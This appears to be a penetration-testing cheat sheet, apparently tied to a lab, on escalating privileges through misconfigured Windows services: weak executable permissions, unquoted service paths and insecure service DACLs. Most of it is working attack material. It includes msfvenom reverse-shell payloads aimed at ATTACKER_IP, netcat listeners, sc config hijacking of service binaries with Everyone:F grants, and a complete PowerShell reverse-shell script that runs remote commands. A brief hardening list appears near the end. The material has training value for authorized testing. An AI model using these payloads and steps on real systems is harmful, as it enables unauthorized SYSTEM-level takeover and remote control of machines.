Windows services often run with high privileges and can be exploited in various ways for privilege escalation. This document covers common techniques to identify and exploit vulnerable services.
# Query the configuration of a service
sc qc <service_name>
# Query the current status of a service
sc query <service_name>
# Modify a configuration option of a service
sc config <service_name> <option>= <value>
# Start or stop a service
net start <service_name>
net stop <service_name>
# Alternative start/stop commands
sc start <service_name>
sc stop <service_name>
# List all services
sc query type= service state= all
# List running services
sc queryex type= service state= active
# Display all service dependencies
sc qc <service_name> | findstr "DEPENDENCIES"
# Get the security descriptor of a service
sc sdshow <service_name># Get all services
Get-Service
# Get specific service
Get-Service -Name <service_name>
# Get running services
Get-Service | Where-Object {$_.Status -eq "Running"}
# Get service with additional details
Get-WmiObject -Class Win32_Service | Select-Object Name, DisplayName, State, PathName, StartMode, StartName
# Start and stop services
Start-Service -Name <service_name>
Stop-Service -Name <service_name>
# Check service permissions (requires admin)
Get-ServiceAcl -Name <service_name>Services are managed by the Service Control Manager (SCM) and typically run with SYSTEM, LocalService, NetworkService, or custom service account privileges. Each service has:
- An executable path (BINARY_PATH_NAME)
- A service account (SERVICE_START_NAME)
- A Discretionary Access Control List (DACL) controlling who can modify the service
Each service has an Access Control List (ACL) which defines service-specific permissions:
- SERVICE_QUERY_CONFIG: Allows querying service configuration (innocuous)
- SERVICE_QUERY_STATUS: Allows checking service status (innocuous)
- SERVICE_STOP: Allows stopping the service (potentially useful)
- SERVICE_START: Allows starting the service (potentially useful)
- SERVICE_CHANGE_CONFIG: Allows changing service configuration (dangerous)
- SERVICE_ALL_ACCESS: Provides full control over the service (dangerous)
The exploitation potential depends on the combination of permissions you have:
- Ideal scenario: Having SERVICE_CHANGE_CONFIG and either SERVICE_STOP or SERVICE_START (or both)
- Limited scenario: Having SERVICE_CHANGE_CONFIG but no ability to stop/start
Potential Rabbit Hole: If you can change a service configuration but cannot stop/start the service, you may not be able to escalate privileges immediately. The changes will only take effect when the service is restarted, which might require:
- Waiting for a system reboot
- Waiting for an automated service restart
- Finding another vulnerability to trigger a service restart
# Query service configuration
sc qc SERVICE_NAME
# Example
sc qc wuauservKey information to look for:
- BINARY_PATH_NAME: The path to the executable
- SERVICE_START_NAME: The account used to run the service
If the service's executable has weak permissions allowing modification, we can replace it with a malicious executable.
# Check service executable permissions
icacls "C:\path\to\service.exe"
# Look for permissions like:
# - BUILTIN\Users:(F) or (M) - Full control or Modify
# - Everyone:(F) or (M)
# - Authenticated Users:(F) or (M)-
Generate a malicious executable:
# On Kali Linux: msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o malicious.exe -
Create a listener:
nc -lvp 4445
-
Transfer the executable to Windows target (using wget, certutil, etc.)
-
Replace the service executable:
# Backup original (optional) move C:\path\to\service.exe C:\path\to\service.exe.bak # Copy malicious executable copy malicious.exe C:\path\to\service.exe # Ensure proper permissions icacls C:\path\to\service.exe /grant Everyone:F
-
Restart the service:
sc stop SERVICE_NAME sc start SERVICE_NAME
When a service's path contains spaces and isn't enclosed in quotes, Windows will try to execute each valid path with spaces.
# Find services with unquoted paths containing spaces
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
# PowerShell alternative
Get-WmiObject -Class Win32_Service | Where-Object {$_.PathName -notmatch "`"" -and $_.PathName -match " "} | Select-Object Name, PathName, StartModeFor a service with path C:\Program Files\Vulnerable Service\service.exe, Windows tries to execute:
C:\Program.exeC:\Program Files\Vulnerable.exeC:\Program Files\Vulnerable Service\service.exe
-
Identify a writable directory in the service path:
# Check directory permissions icacls "C:\Program Files" icacls "C:\Program Files\Vulnerable Service"
-
Generate a malicious executable:
# On Kali Linux msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4446 -f exe-service -o malicious.exe -
Create a listener:
nc -lvp 4446
-
Place the malicious executable in the path with proper name:
# Example: exploiting "C:\Program Files\Vulnerable Service\service.exe" copy malicious.exe "C:\Program Files\Vulnerable.exe" # Ensure proper permissions icacls "C:\Program Files\Vulnerable.exe" /grant Everyone:F
-
Restart the service:
sc stop "Vulnerable Service" sc start "Vulnerable Service"
If a service's DACL allows modification, we can reconfigure the service to run any executable as SYSTEM.
# Using AccessChk (Sysinternals)
accesschk64.exe -qlc SERVICE_NAME
# Look for:
# - SERVICE_ALL_ACCESS
# - SERVICE_CHANGE_CONFIG
# For non-admin groups like BUILTIN\Users, Everyone, Authenticated Users-
Generate a malicious executable:
# On Kali Linux msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4447 -f exe-service -o malicious.exe -
Create a listener:
nc -lvp 4447
-
Transfer and prepare the executable:
# Ensure proper permissions icacls malicious.exe /grant Everyone:F -
Reconfigure the service:
# Change the binary path and account (note the spaces after the equal signs) sc config SERVICE_NAME binPath= "C:\path\to\malicious.exe" obj= LocalSystem
-
Restart the service:
sc stop SERVICE_NAME sc start SERVICE_NAME
If you can change the service configuration but cannot start or stop it:
-
Option 1: Modify the executable to execute at the next system reboot
sc config SERVICE_NAME binPath= "C:\path\to\malicious.exe" start= auto # Wait for reboot or find a way to force one
-
Option 2: Target a service that automatically restarts when it crashes
# Check if the service has a recovery action sc qfailure SERVICE_NAME
-
Option 3: Look for services that are frequently restarted by the system or users
For a service with configuration like:
C:\> sc qc "disk sorter enterprise"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: disk sorter enterprise
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Disk Sorter Enterprise
DEPENDENCIES :
SERVICE_START_NAME : .\svcusr2Check if we can write to the directory:
C:\> icacls c:\MyPrograms
c:\MyPrograms NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
BUILTIN\Users:(I)(CI)(AD)
BUILTIN\Users:(I)(CI)(WD)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)The BUILTIN\Users group has write permissions. We can exploit this:
# Place malicious executable in the path
C:\> move malicious.exe C:\MyPrograms\Disk.exe
# Set permissions
C:\> icacls C:\MyPrograms\Disk.exe /grant Everyone:F
# Restart service
C:\> sc stop "disk sorter enterprise"
C:\> sc start "disk sorter enterprise"For a service with insecure DACL:
C:\> accesschk64.exe -qlc THMService
[4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users
SERVICE_ALL_ACCESSWe can reconfigure it:
# Reconfigure service
C:\> sc config THMService binPath= "C:\Users\user\malicious.exe" obj= LocalSystem
# Restart service
C:\> sc stop THMService
C:\> sc start THMServiceTo prevent service-based privilege escalation:
- Use quotes for service paths with spaces
- Restrict write access to service executables and directories
- Set proper DACLs on services to prevent reconfiguration
- Run services with least privilege accounts
- Regularly audit service configurations and permissions
If you don't have access to msfvenom, you can create a simple service executable with C# or PowerShell:
# PowerShell reverse shell (save as .ps1)
$client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",PORT);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush();
}
$client.Close();
# Create a .bat wrapper to call PowerShell
echo powershell.exe -ExecutionPolicy Bypass -File C:\path\to\reverse-shell.ps1 > malicious.bat- PowerUp.ps1:
Invoke-AllChecksidentifies many common service vulnerabilities - WinPEAS: Checks for service misconfigurations automatically
- ServicePermissionsChecker.ps1: Custom PowerShell script to check service permissions